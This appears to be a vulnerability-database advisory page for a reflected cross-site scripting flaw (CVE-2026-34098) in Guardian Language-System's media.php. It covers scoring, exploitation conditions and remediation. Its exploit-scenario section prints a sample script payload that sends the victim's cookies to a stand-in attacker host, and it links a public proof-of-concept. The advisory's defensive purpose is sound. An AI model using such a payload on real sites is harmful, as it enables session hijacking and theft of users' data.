Skip to main content

Guardian Language-System EUVDEUVD-2026-41054

| CVE-2026-34098 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-01 VulnCheck GHSA-q7ff-88r7-jcwv
4.8
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain low-privileged application credentials
  2. Delivery
    Craft media.php URL with XSS payload in id parameter
  3. Exploit
    Deliver malicious URL to authenticated victim
  4. Execution
    Victim clicks link and browser renders media.php
  5. Persist
    Injected script executes in victim's browser session
  6. Impact
    Session tokens or sensitive data exfiltrated to attacker

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a valid authenticated session in Guardian Language-System (confirmed by CVSS PR:L). The attack further requires a second authenticated victim user to actively follow or load the attacker-crafted URL pointing to media.php (confirmed by CVSS UI:A - active user interaction). The vulnerable code path is specifically the id GET parameter processed by media.php; no other entry point is indicated. Exploitation is limited by: the authentication prerequisite for the attacker, the social engineering or phishing step needed to deliver the URL to the victim, and the requirement that the victim actively loads the malicious link. There are no special server-side configuration requirements - the vulnerability exists in default application code. The form action injection at line 129 provides an additional abuse vector even if script-tag filtering is applied, potentially redirecting victim form submissions without script execution.

Impact

The CVSS 4.0 base score of 4.8 (Medium) accurately reflects the constrained real-world impact. The vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N encodes three important limiting factors: the attacker must hold a valid authenticated session (PR:L), a victim user must actively interact with the crafted URL (UI:A), and direct impact on the vulnerable system itself is nil (VC:N/VI:N/VA:N) - consequence is limited to the victim's browser context (SC:L/SI:L). No EPSS data was provided in the intelligence package, so exploitation probability cannot be quantified from that signal. No CISA KEV listing exists, indicating this has not been confirmed in widespread active exploitation campaigns. However, a publicly available POC exploit hosted on a GitHub gist lowers the technical barrier to abuse. The net assessment is a real but moderate-priority issue: exploitation is bounded by the authentication prerequisite and requires social engineering or phishing to deliver the crafted URL, but the low complexity and available POC mean it should not be deferred indefinitely in environments with multiple user roles.

Exploit ScenarioDerived

An attacker with a valid low-privileged account constructs a URL to media.php with a script tag payload embedded in the id GET parameter, such as id=<script>document.location='https://attacker.example/steal?c='+document.cookie</script>. The attacker delivers this URL to a higher-privileged user via email, chat, or a forum post within the application. When the victim clicks the link and their browser renders media.php, the injected script executes in the victim's session context, exfiltrating session cookies or performing authenticated actions on the victim's behalf. A publicly available POC on GitHub (https://gist.github.com/cyberinforepo/d5b2771d82e1b31b8fc1c33052e08dad) provides a working demonstration of this attack path.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 01, 2026

Reflected cross-site scripting in Guardian Language-System's media.php allows authenticated attackers to inject arbitrary JavaScript into the victim's browser session by crafting a malicious URL with a script payload in the id GET parameter. The flaw exists because the id parameter is written unsanitized directly into HTML source and form action attributes at lines 119 and 129 of media.php. A publicly available proof-of-concept exploit exists on GitHub, though no KEV listing indicates broad active exploitation at time of analysis.

RemediationAI

No vendor-released patch or fixed version has been identified at time of analysis; the CPE wildcard covers all versions without a bounded upper limit and no advisory references a corrective release. The primary fix requires applying proper output encoding to the id GET parameter before it is written into HTML contexts in media.php at lines 119 and 129 - specifically, htmlspecialchars() with ENT_QUOTES and the application's character encoding should be applied at each insertion point. As a compensating control where code modification is not immediately possible, deploying a Web Application Firewall rule to block script injection patterns (angle brackets, javascript: URI schemes, event handler attributes) in the id parameter can reduce exposure with minimal application side effects. Access to media.php should also be restricted to the minimum required user roles via application-level authorization controls, reducing the pool of potential attackers. Monitor the VulnCheck advisory at https://www.vulncheck.com/advisories/guardian-language-system-xss-via-id-parameter-in-media-php for patch release updates.

Affected VersionsENISA

language-system 0 ≤e42c395ec4b03fe62973a669c9209a673838b8a4

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Guardian Language-System is a PHP web application (cpe:2.3:a:guardian:language-system:*:*:*:*:*:*:*:*). The vulnerability is rooted in CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting). Specifically, the id value supplied via HTTP GET is interpolated directly into two distinct HTML rendering contexts in media.php: an inline HTML element context (line 119) and a form action attribute context (line 129). Neither insertion point applies HTML entity encoding, HTML attribute escaping, or any other output sanitization, meaning angle brackets and quotes in attacker-supplied input are treated as literal markup by the browser. Injection into a form action attribute is particularly noteworthy because it can redirect form submissions to an attacker-controlled endpoint even without script tag execution, offering a secondary phishing vector.

Know when Guardian gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 4.8 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-delivered reflected XSS requiring authenticated attacker (PR:L) and victim interaction (UI:R), with scope change to victim browser causing limited confidentiality and integrity impact.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Active
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

DescriptionCVE.org

Guardian language-system fails to sanitize the id GET parameter before inserting it into HTML source and form action attributes in media.php (lines 119, 129). An authenticated attacker can craft a URL that injects script tags executing in the victim's browser session.

Threat Intelligence Overview

EPSS Score
0.1%
Top 96% exploitable
Prevalence
Rare
obscure niche PHP application, minimal known enterprise footprint
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.1%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +24
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

CVE-2026-34107 CRITICAL POC
9.3 Jul 01

OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by i

CVE-2026-34106 CRITICAL POC
9.3 Jul 01

Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injec

CVE-2026-34099 CRITICAL POC
9.3 Jul 01

Unauthenticated SQL injection in Guardian Language System lets remote attackers manipulate the backend database by injec

CVE-2026-34105 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian Language-System allows a network-accessible authenticated attacker to extract the

CVE-2026-34104 HIGH POC
8.7 Jul 01

SQL injection in Guardian Language-System's designer.php (line 124) allows attackers to extract, modify, or destroy the

CVE-2026-34103 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian language-system's subtitles.php exposes full database contents to low-privileged a

CVE-2026-34102 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian Language-System exposes the full database to low-privileged authenticated attacker

CVE-2026-34101 HIGH POC
8.7 Jul 01

Error-based SQL injection in Guardian language-system's text_file.php exposes the full database to extraction via a triv

CVE-2026-34100 HIGH POC
8.7 Jul 01

SQL injection in Guardian language-system's media.php endpoint allows low-privilege authenticated attackers to extract t

CVE-2020-7049 HIGH POC
7.3 Jun 30

Nozomi Networks OS before 19.0.4 allows /#/network?tab=network_node_list.html CSV Injection. Rated high severity (CVSS 7

CVE-2020-15307 MEDIUM POC
6.1 Jun 30

Nozomi Guardian before 19.0.4 allows attackers to achieve stored XSS (in the web front end) by leveraging the ability to

CVE-2023-29245 CRITICAL
9.2 Sep 19

A SQL Injection vulnerability in Nozomi Networks Guardian and CMC, due to improper input validation in certain fields us

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy